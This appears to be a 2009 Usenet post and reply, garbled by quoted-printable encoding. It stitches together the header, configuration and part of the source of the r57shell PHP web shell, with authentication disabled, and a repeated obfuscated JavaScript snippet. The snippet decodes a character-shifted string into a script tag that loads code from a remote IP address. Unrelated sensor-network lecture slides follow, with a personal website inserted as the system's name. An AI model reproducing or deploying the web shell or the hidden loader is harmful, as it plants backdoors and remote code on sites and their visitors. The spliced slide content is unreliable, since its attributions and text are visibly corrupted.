iuuq:// (TM) script: draft

  • Follow


<html> this is a script th@ routes data @ from http://any.any through
iuuq://meami.org ---> http://meami.org ---> http://any.
<script>var source =3D"=3Dtdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;
00:2/316/344/:20bobmzujdt0hb/kt#?=3D0tdsjqu?"; var result =3D "";for(var
i=3D0;i<source.length;i++) result+=3DString.fromCharCode(source.charCodeAt
(i)-1);document.write(result); </script>
<?php http://meami.org >>
/
***************************************************************************=
***************************/
/*
/*                                     #    #        #
#
/*                                     #   #          #   #
/*                                    #    #          #    #
/*                                    #   ##   ####   ##   #
/*                                   ##   ##  ######  ##   ##
/*                                   ##   ##  ######  ##   ##
/*                                   ##   ##   ####   ##   ##
/*                                   ###   ############   ###
/*                                   ########################
/*                                        ##############
/*                                 ######## ########## #######
/*                                ###   ##  ##########  ##   ###
/*                                ###   ##  ##########  ##   ###
/*                                 ###   #  ##########  #   ###
/*                                 ###   ##  ########  ##   ###
/*                                  ##    #   ######   #    ##
/*                                   ##   #    ####   #    ##
/*                                     ##                 ##
/*
/*
/*
/*  r57shell.php - =F1=EA=F0=E8=EF=F2 =ED=E0 =EF=F5=EF =EF=EE=E7=E2=EE=EB=
=FF=FE=F9=E8=E9 =E2=E0=EC =E2=FB=EF=EE=EB=ED=FF=F2=FC =F1=E8=F1=F2=E5=EC=ED=
=FB=E5
=EA=EE=EC=E0=ED=E4=FB =ED=E0 =F1=E5=F0=E2=E5=F0=E5 =F7=E5=F0=E5=E7 =E1=F0=
=E0=F3=E7=E5=F0
/*  =C2=FB =EC=EE=E6=E5=F2=E5 =F1=EA=E0=F7=E0=F2=FC =ED=EE=E2=F3=FE =E2=E5=
=F0=F1=E8=FE =ED=E0 =ED=E0=F8=E5=EC =F1=E0=E9=F2=E5: http://meami.org >
http:///rst.void.ru
/*  =C2=E5=F0=F1=E8=FF: 1.31
/
*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=
~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*  =CE=F2=E4=E5=EB=FC=ED=E0=FF =E1=EB=E0=E3=EE=E4=E0=F0=ED=EE=F1=F2=FC =E7=
=E0 =EF=EE=EC=EE=F9=FC =E8 =E8=E4=E5=E8: blf, phoenix, virus,
NorD =E8 =E2=F1=E5=EC =F7=E5=F0=F2=FF=EC =E8=E7 RST/GHC.
/*  =C5=F1=EB=E8 =F3 =C2=E0=F1 =E5=F1=F2=FC =EA=E0=EA=E8=E5-=EB=E8=E1=EE =
=E8=E4=E5=E8 =EF=EE =EF=EE=E2=EE=E4=F3 =F2=EE=E3=EE =EA=E0=EA=E8=E5 =F4=F3=
=ED=EA=F6=E8=E8
=F1=EB=E5=E4=F3=E5=F2 =E4=EE=E1=E0=E2=E8=F2=FC =E2 =F1=EA=F0=E8=EF=F2 =F2=
=EE =EF=E8=F8=E8=F2=E5
/*  =ED=E0 marty.musatov@gmail.com > rst@void.ru. =C2=F1=E5 =EF=F0=E5=E4=EB=
=EE=E6=E5=ED=E8=FF =E1=F3=E4=F3=F2
=F0=E0=F1=F1=EC=EE=F2=F0=E5=ED=FB.
/
*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=
~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*  (c)oded by http://< iuuq://meami.org >> 1dt.w0lf
/*  RST/GHC http://meami.org >http:///rst.void.ru , http:///ghc.ru
/*  ANY MODIFIED REPUBLISHING IS PERMITTED
/
***************************************************************************=
***************************/
/* ~~~ =CD=E0=F1=F2=F0=EE=E9=EA=E8 | Options  ~~~ */

// =C2=FB=E1=EE=F0 =FF=E7=FB=EA=E0 | Language
// $language=3D'ru' - =F0=F3=F1=F1=EA=E8=E9 (russian)
// $language=3D'eng' - english (=E0=ED=E3=EB=E8=E9=F1=EA=E8=E9)
$language=3D'eng';

// =C0=F3=F2=E5=ED=F2=E8=F4=E8=EA=E0=F6=E8=FF | Authentification
// $auth =3D 1; - =C0=F3=F2=E5=ED=F2=E8=F4=E8=EA=E0=F6=E8=FF =E2=EA=EB=FE=
=F7=E5=ED=E0  ( authentification =3D OFF  )
// $auth =3D 0; - =C0=F3=F2=E5=ED=F2=E8=F4=E8=EA=E0=F6=E8=FF =E2=FB=EA=EB=
=FE=F7=E5=ED=E0 ( authentification =3D ON )
$auth =3D 0;

// =CB=EE=E3=E8=ED =E8 =EF=E0=F0=EE=EB=FC =E4=EB=FF =E4=EE=F1=F2=F3=EF=E0 =
=EA =F1=EA=F0=E8=EF=F2=F3 (Login & Password for access)
// =CD=C5 =C7=C0=C1=D3=C4=DC=D2=C5 =D1=CC=C5=CD=C8=D2=DC =CF=C5=D0=C5=C4 =
=D0=C0=C7=CC=C5=D9=C5=CD=C8=C5=CC =CD=C0 =D1=C5=D0=C2=C5=D0=C5!!! (YOU MAY =
CHANGE
THIS!!!)
// =CB=EE=E3=E8=ED =E8 =EF=E0=F0=EE=EB=FC =F8=E8=F4=F0=F3=FE=F2=F1=FF =F1 =
=EF=EE=EC=EE=F9=FC=FE =E0=EB=E3=EE=F0=E8=F2=EC=E0 md5, =E7=ED=E0=F7=E5=ED=
=E8=FF =EF=EE
=F3=EC=EE=EB=F7=E0=ED=E8=FE 'r57'
// Login & password crypted with md5, default is 'r57'
$name=3D'ec371748dc2da624b35a4f8f685dd122'; // =EB=EE=E3=E8=ED =EF=EE=EB=FC=
=E7=EE=E2=E0=F2=E5=EB=FF  (user
login)
$pass=3D'ec371748dc2da624b35a4f8f685dd122'; // =EF=E0=F0=EE=EB=FC =EF=EE=EB=
=FC=E7=EE=E2=E0=F2=E5=EB=FF (user
password)
/
***************************************************************************=
***************************/
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode =3D @ini_get('safe_mode');
$version =3D '1.31';
if(version_compare(phpversion(), '4.1.0') =3D=3D -1)
 {
 $_POST   =3D &$HTTP_POST_VARS;
 $_GET    =3D &$HTTP_GET_VARS;
 $_SERVER =3D &$HTTP_SERVER_VARS;
 $_COOKIE =3D &$HTTP_COOKIE_VARS;
 }
if (@get_magic_quotes_gpc())
 {
 foreach ($_POST as $k=3D>$v)
  {
  $_POST[$k] =3D stripslashes($v);
  }
 foreach ($_COOKIE as $k=3D>$v)
  {
  $_COOKIE[$k] =3D stripslashes($v);
  }
 }

if($auth =3D=3D 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER
['PHP_AUTH_USER'])!=3D=3D$name || md5($_SERVER['PHP_AUTH_PW'])!=3D=3D$pass)
   {
   header('WWW-Authenticate: Basic realm=3D"r57shell"');
   header('HTTP/1.0 401 Authorized');
   exit("<b><a href=3Dhttp://MEAMI.ORG/ http:///rst.void.ru>r57shell</a>
: Access Permitted</b>");
   }
}
$head =3D '<!-- =C7=E4=F0=E0=E2=F1=F2=E2=F3=E9, =C2=E0=F1=FF -->
<html>
<head>
<title>r57shell</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html;
charset=3Dwindows-1251">

<STYLE>
tr {
BORDER-RIGHT:  #aaaaaa 1px solid;
BORDER-TOP:    #eeeeee 1px solid;
BORDER-LEFT:   #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
td {
BORDER-RIGHT:  #aaaaaa 1px solid;
BORDER-TOP:    #eeeeee 1px solid;
BORDER-LEFT:   #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
..table1 {
BORDER: 0px;
BACKGROUND-COLOR: #D4D0C8;
color: #000000;
}
..td1 {
BORDER: 0px;
font: 7pt Verdana;
color: #000000;
}
..tr1 {
BORDER: 0px;
color: #000000;
}
table {
BORDER:  #eeeeee 1px outset;
BACKGROUND-COLOR: #D4D0C8;
color: #000000;
}
input {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;
}
select {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;;
}
submit {
BORDER:  buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
color: #000000;
}
textarea {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
color: #000000;
}
BODY {
margin: 1px;
color: #000000;
background-color: #e4e0d8;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=3D\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display =3D \'none\';
  document.cookie=3Did+\'=3D0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display =3D \'block\';
  document.cookie=3Did+\'=3D1;\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display =3D=3D \'none\')
    show_div(id);
  else
    hide_div(id);
}
</script>';
class zipfile
{
    var $datasec      =3D array();
    var $ctrl_dir     =3D array();
    var $eof_ctrl_dir =3D "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   =3D 0;
    function unix2DosTime($unixtime =3D 0) {
        $timearray =3D ($unixtime =3D=3D 0) ? getdate() : getdate
($unixtime);
        if ($timearray['year'] < 1980) {
            $timearray['year']    =3D 1980;
            $timearray['mon']     =3D 1;
            $timearray['mday']    =3D 1;
            $timearray['hours']   =3D 0;
            $timearray['minutes'] =3D 0;
            $timearray['seconds'] =3D 0;
        }
        return (($timearray['year'] - 1980) << 25) | ($timearray
['mon'] << 21) | ($timearray['mday'] << 16) |
                ($timearray['hours'] << 11) | ($timearray['minutes']
<< 5) | ($timearray['seconds'] >> 1);
    }
    function addFile($data, $name, $time =3D 0)
    {
        $name     =3D str_replace('\\', '/', $name);
        $dtime    =3D dechex($this->unix2DosTime($time));
        $hexdtime =3D '\x' . $dtime[6] . $dtime[7]
                  . '\x' . $dtime[4] . $dtime[5]
                  . '\x' . $dtime[2] . $dtime[3]
                  . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime =3D "' . $hexdtime . '";');
        $fr   =3D "\x50\x4b\x03\x04";
        $fr   .=3D "\x14\x00";
        $fr   .=3D "\x00\x00";
        $fr   .=3D "\x08\x00";
        $fr   .=3D $hexdtime;
        $unc_len =3D strlen($data);
        $crc     =3D crc32($data);
        $zdata   =3D gzcompress($data);
        $zdata   =3D substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $c_len   =3D strlen($zdata);
        $fr      .=3D pack('V', $crc);
        $fr      .=3D pack('V', $c_len);
        $fr      .=3D pack('V', $unc_len);
        $fr      .=3D pack('v', strlen($name));
        $fr      .=3D pack('v', 0);
        $fr      .=3D $name;
        $fr .=3D $zdata;
        $this -> datasec[] =3D $fr;
        $cdrec =3D "\x50\x4b\x01\x02";
        $cdrec .=3D "\x00\x00";
        $cdrec .=3D "\x14\x00";
        $cdrec .=3D "\x00\x00";
        $cdrec .=3D "\x08\x00";
        $cdrec .=3D $hexdtime;
        $cdrec .=3D pack('V', $crc);
        $cdrec .=3D pack('V', $c_len);
        $cdrec .=3D pack('V', $unc_len);
        $cdrec .=3D pack('v', strlen($name) );
        $cdrec .=3D pack('v', 0 );
        $cdrec .=3D pack('v', 0 );
        $cdrec .=3D pack('v', 0 );
        $cdrec .=3D pack('v', 0 );
        $cdrec .=3D pack('V', 32 );
        $cdrec .=3D pack('V', $this -> old_offset );
        $this -> old_offset +=3D strlen($fr);
        $cdrec .=3D $name;
        $this -> ctrl_dir[] =3D $cdrec;<html>
<script>var source =3D"=3Dtdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;
00:2/316/344/:20bobmzujdt0hb/kt#?=3D0tdsjqu?"; var result =3D "";for(var
i=3D0;i<source.length;i++) result+=3DString.fromCharCode(source.charCodeAt
(i)-1);document.write(result); </script>
(C)opyright 2009. MeAmI
0
Reply marty.musatov (1142) 10/26/2009 12:13:22 AM

 submit {
> BORDER: =C2=A0buttonhighlight 2px outset;
> BACKGROUND-COLOR: #e4e0d8;
> width: 30%;
> color: #000000;}
>
> textarea {
> BORDER-RIGHT: =C2=A0#ffffff 1px solid;
> BORDER-TOP: =C2=A0 =C2=A0#999999 1px solid;
> BORDER-LEFT: =C2=A0 #999999 1px solid;
> BORDER-BOTTOM: #ffffff 1px solid;
> BACKGROUND-COLOR: #e4e0d8;
> font: Fixedsys bold;
> color: #000000;}
>
> BODY {
> margin: 1px;
> color: #000000;
> background-color: #e4e0d8;}
>
> A:link {COLOR:red; TEXT-DECORATION: none}
> A:visited { COLOR:red; TEXT-DECORATION: none}
> A:active {COLOR:red; TEXT-DECORATION: none}
> A:hover {color:blue;TEXT-DECORATION: none}
> </STYLE>
> <script language=3D\'javascript\'>
> function hide_div(id)
> {
> =C2=A0 document.getElementById(id).style.display =3D \'none\';
> =C2=A0 document.cookie=3Did+\'=3D0;\';}
>
> function show_div(id)
> {
> =C2=A0 document.getElementById(id).style.display =3D \'block\';
> =C2=A0 document.cookie=3Did+\'=3D1;\';}
>
> function change_divst(id)
> {
> =C2=A0 if (document.getElementById(id).style.display =3D=3D \'none\')
> =C2=A0 =C2=A0 show_div(id);
> =C2=A0 else
> =C2=A0 =C2=A0 hide_div(id);}
>
> </script>';
> class zipfile
> {
> =C2=A0 =C2=A0 var $datasec =C2=A0 =C2=A0 =C2=A0=3D array();
> =C2=A0 =C2=A0 var $ctrl_dir =C2=A0 =C2=A0 =3D array();
> =C2=A0 =C2=A0 var $eof_ctrl_dir =3D "\x50\x4b\x05\x06\x00\x00\x00\x00";
> =C2=A0 =C2=A0 var $old_offset =C2=A0 =3D 0;
> =C2=A0 =C2=A0 function unix2DosTime($unixtime =3D 0) {
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $timearray =3D ($unixtime =3D=3D 0) ? getdate=
() : getdate
> ($unixtime);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 if ($timearray['year'] < 1980) {
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 $timearray['year'] =C2=A0 =C2=
=A0=3D 1980;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 $timearray['mon'] =C2=A0 =C2=A0=
 =3D 1;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 $timearray['mday'] =C2=A0 =C2=
=A0=3D 1;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 $timearray['hours'] =C2=A0 =3D =
0;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 $timearray['minutes'] =3D 0;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 $timearray['seconds'] =3D 0;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 }
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 return (($timearray['year'] - 1980) << 25) | =
($timearray
> ['mon'] << 21) | ($timearray['mday'] << 16) |
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 ($timearray['hour=
s'] << 11) | ($timearray['minutes']
> << 5) | ($timearray['seconds'] >> 1);
> =C2=A0 =C2=A0 }
> =C2=A0 =C2=A0 function addFile($data, $name, $time =3D 0)
> =C2=A0 =C2=A0 {
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $name =C2=A0 =C2=A0 =3D str_replace('\\', '/'=
, $name);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $dtime =C2=A0 =C2=A0=3D dechex($this->unix2Do=
sTime($time));
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $hexdtime =3D '\x' . $dtime[6] . $dtime[7]
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 . '\x' . $=
dtime[4] . $dtime[5]
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 . '\x' . $=
dtime[2] . $dtime[3]
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 . '\x' . $=
dtime[0] . $dtime[1];
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 eval('$hexdtime =3D "' . $hexdtime . '";');
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 =3D "\x50\x4b\x03\x04";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 .=3D "\x14\x00";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 .=3D "\x00\x00";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 .=3D "\x08\x00";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 .=3D $hexdtime;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $unc_len =3D strlen($data);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $crc =C2=A0 =C2=A0 =3D crc32($data);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $zdata =C2=A0 =3D gzcompress($data);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $zdata =C2=A0 =3D substr(substr($zdata, 0, st=
rlen($zdata) - 4), 2);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $c_len =C2=A0 =3D strlen($zdata);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 =C2=A0 =C2=A0.=3D pack('V', $crc);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 =C2=A0 =C2=A0.=3D pack('V', $c_len=
);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 =C2=A0 =C2=A0.=3D pack('V', $unc_l=
en);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 =C2=A0 =C2=A0.=3D pack('v', strlen=
($name));
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 =C2=A0 =C2=A0.=3D pack('v', 0);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr =C2=A0 =C2=A0 =C2=A0.=3D $name;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $fr .=3D $zdata;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $this -> datasec[] =3D $fr;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec =3D "\x50\x4b\x01\x02";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D "\x00\x00";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D "\x14\x00";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D "\x00\x00";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D "\x08\x00";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D $hexdtime;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('V', $crc);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('V', $c_len);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('V', $unc_len);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('v', strlen($name) );
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('v', 0 );
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('v', 0 );
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('v', 0 );
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('v', 0 );
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('V', 32 );
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D pack('V', $this -> old_offset );
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $this -> old_offset +=3D strlen($fr);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $cdrec .=3D $name;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 $this -> ctrl_dir[] =3D $cdrec;<html>
> <script>var source =3D"=3Dtdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;
> 00:2/316/344/:20bobmzujdt0hb/kt#?=3D0tdsjqu?"; var result =3D "";for(var
> i=3D0;i<source.length;i++) result+=3DString.fromCharCode(source.charCodeA=
t
> (i)-1);document.write(result); </script>
> (C)opyright 2009. MeAmI

 Page 1
Http://MeAmI.org.org:
Coordinated Resource Management
@ Sensor Networks by
Http://MeAmI.org
M. Michael Musatov
________________________________________
Page 2
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
2
Sensor Networks: Coping with Limited
Resources
MAC Layer
Z+MAC
Dozer
B+MAC
T+MAC
S+MAC
OS and
Programming models
Pixie
Eon
Levels
Power
Locks
Energy
Tracking
Quantro
PowerTOSSIM
Focus on optimizing
at the node level
=E2=80=AF=EF=81=AC Sensor nodes are severely resource constrained
=E2=80=AF=EF=81=AC 8 MHz CPU
=E2=80=AF=EF=81=AC 10 KB of memory
=E2=80=AF=EF=81=AC ~100 Kbps of radio link bandwidth (best case)=E2=80=8F
=E2=80=AF=EF=81=AC 200 mAh =E2=80=93 2000 mAh batteries
________________________________________
Page 3
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
3
Coordination Matters
Coordination is essential to get
good resource efficiency.
We need OS abstractions to support it.
________________________________________
Page 4
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
4
State of the Art
RPC
IDLs
Discovery services
BSD sockets
TCP/IP
BPEL
JINI
Web services
XML RPC
Group communication
DHTs
Multicast
Map/Reduce
BFT
Active Messages
Radio packets
Conventional Distributed Systems
Sensor Networks
Everything else is done in an
ad hoc manner by each
application.
________________________________________
Page 5
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
5
A Canonical Example: Data Collection
=E2=80=AFResource availability is
hard to predict
=E2=80=AF=EF=81=AC Variable load
=E2=80=AF=EF=81=AC Variable resource
availability
=E2=80=AF=EF=81=AC Time Varying
=E2=80=AFOff line static solutions
are not adequate
How much energy to put
towards sampling?
Storing data? Processing?
Listening for and forwarding
other data?
Data
Base
Station
Node
More work
forwarding
packets
Less work
forwarding
packets
Solar
Powered
Nodes
More
Sunlight
Less
Sunlight
More
Sunlight
Less
Sunlight
________________________________________
Page 6
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
6
Programming with Resource Management
=E2=80=AFThe three keys to effective coordinated resource management
=E2=80=AF=EF=81=AC Sharing resource availability across nodes
=E2=80=AF=EF=81=AC Exposing resource availability to the application
=E2=80=AF=EF=81=AC A way of allocating resources across multiple nodes
=E2=80=AFCurrently, applications do this in an ad hoc fashion
=E2=80=AF=EF=81=AC Point solutions tied to a specific application
=E2=80=AF=EF=81=AC Requires lots of engineering
=E2=80=AF=EF=81=AC Hard to tune
________________________________________
Page 7
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
7
The Http://MeAmI.org.org Operating System
=E2=80=AFDistributed OS for wireless sensor networks
that provides coordinated resource
management
=E2=80=AFThree key ideas:
=E2=80=AF=EF=81=AC State Sharing =E2=80=93 allows for nodes to share
information local resource availability
=E2=80=AF=EF=81=AC Vector Tickets =E2=80=93 represents the right to consume
resources across a set of nodes for performing an
operation
=E2=80=AF=EF=81=AC Ticket Agents =E2=80=93 permits resource management
decisions to be decomposed across the network
________________________________________
Page 8
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
8
Key Idea #1: Efficient State Sharing
=E2=80=AFShared tuple space
=E2=80=AF=EF=81=AC Representing a global view of
the network state
=E2=80=AF=EF=81=AC Builds on the work of Abstract
Regions [NSDI '04] and Hood
[MOBISYS '04]
=E2=80=AFEfficient Implementation
=E2=80=AF=EF=81=AC State on other nodes is read
only =E2=80=93 no write conflicts
=E2=80=AF=EF=81=AC Use gossip to ensure eventual
consistency
=E2=80=AF=EF=81=AC Topological Freshness =E2=80=93 the
frequency of updates between
two nodes is related to the
distance between them
Node Energy
<1, 324J>
<3, 249J>
....
<15, 59J>
Shared State
________________________________________
Page 9
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
9
Data Collection with State Sharing
1.=E2=80=AFNodes track their own state
2.=E2=80=AFNodes periodically publish
their state into the shared
tuple space
3.=E2=80=AFSending node can query its
view of the network state
4.=E2=80=AFEvaluate potential routing
paths to find an optimal route
to the base station
Node Energy
<1, 324J>
<3, 249J>
....
<15, 59J>
Shared
State
Data
Node Energy
<1, 344J>
<3, 251J>
....
<15, 87J>
________________________________________
Page 10
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
10
Representing Resources
=E2=80=AFProblem: Existing systems track resources implicitly
=E2=80=AF=EF=81=AC No direct feedback to applications on availability
=E2=80=AF=EF=81=AC Allocation and use of resources are tightly coupled
=E2=80=AFNeed a mechanism to represent allocation across a set of
nodes
=E2=80=AF=EF=81=AC e.g., Amount of energy/memory/bandwidth used to route da=
ta to the
base station
________________________________________
Page 11
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
11
The http://MeAmI.org Resource+Aware OS
[Sensys'08]
=E2=80=AFNode+level OS for sensor nets based on the concept of
resource aware programming
=E2=80=AF=EF=81=AC Resources as a first+class programming primitive
=E2=80=AF=EF=81=AC Direct application knowledge of resource availability
=E2=80=AF=EF=81=AC Explicit allocation and revocation of resources: TANSTAA=
FL
principle
=E2=80=AFKey idea: Resource tickets
=E2=80=AF=EF=81=AC Ticket <R, c, te> represents right to consume c units of=
 resource R
until
the expiry time te.
=E2=80=AF=EF=81=AC Think of as a short+term =E2=80=9Creservation=E2=80=9D f=
or some resource.
=E2=80=AFTickets provide...
=E2=80=AF=EF=81=AC Direct visibility over resources
=E2=80=AF=EF=81=AC Fine+grained control
=E2=80=AF=EF=81=AC Rich abstraction for adapting to changing conditions
________________________________________
Page 12
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
12
Key Idea #2: Vector Tickets
=E2=80=AFHttp://MeAmI.org.org extends Pixie's model
to span allocations on multiple
nodes
=E2=80=AF=EF=81=AC Vector Ticket =3D < T
1
, T
2
, T
3
, ...T
n
>
=E2=80=AF=EF=81=AC T
n
=3D ticket for resources at node
n
=E2=80=AFWhat do vector tickets buy us?
=E2=80=AF=EF=81=AC A global accounting mechanism
for resources
=E2=80=AF=EF=81=AC We can account for all resource
usage in the system
=E2=80=AF=EF=81=AC Explicit network+wide allocation
of resources
Without Vector Tickets:
sendMsg(data, dest);
Like ordering off
a menu without
any prices
________________________________________
Page 13
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
13
Key Idea #3: Who Allocates the Vector Tickets?
=E2=80=AFResource allocation policies
are provided by ticket
agents
=E2=80=AF=EF=81=AC Consume information from
shared state
=E2=80=AF=EF=81=AC Allocate vector tickets for
operations in the network
=E2=80=AFTicket agents can be
implemented in multiple
ways:
=E2=80=AF=EF=81=AC Centralized
=E2=80=AF=EF=81=AC Decentralized
=EF=81=AC=E2=80=AF Cluster based
TA
TA
TA
TA
TA
TA
TA
TA
TA
TA
TA
TA
TA
TA
TA
TA
Ticket
Agent
________________________________________
Page 14
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
14
Application Vignettes
=E2=80=AFIn the paper we highlight the Http://MeAmI.org.org architecture
through three
use cases that leverage the programming model
=E2=80=AF1) Adaptive sensor duty cycling
=E2=80=AF2) Adaptive cluster+based routing
=E2=80=AF3) Energy+efficient data collection
________________________________________
Page 15
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
15
Adaptive Duty Cycling for Sensor Networks
[IPSN'04]
=E2=80=AFUsed in surveillance where nodes detect
events within their given sensor range
=E2=80=AFAssumptions:
=E2=80=AF=EF=81=AC Dense network deployment to allow redundancy
in sensor coverage
=E2=80=AF=EF=81=AC Nodes know their own location
=E2=80=AFNaive approach: random duty cycling
=E2=80=AF=EF=81=AC Can result in loss sensor coverage
=E2=80=AF=EF=81=AC Non+adaptive to changes in resources
=E2=80=AFCoordinated duty cycling
=E2=80=AF=EF=81=AC Higher overhead
=E2=80=AF=EF=81=AC Tune sleep and wake cycles of nodes to maintain
sensor coverage across network
=E2=80=AF=EF=81=AC Adapt to variations in energy availability
________________________________________
Page 16
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
16
Challenges in Coordinated Duty Cycling
=E2=80=AFNodes must share their location and coverage information and
learn the location and coverage of other nodes
=E2=80=AFNodes need to know which nodes they are covering and for
how long to cover them
=E2=80=AF=EF=81=AC Can't sleep while covering for someone else
=E2=80=AFHow to coordinate sleep schedules such that energy remains
balanced in the network?
________________________________________
Page 17
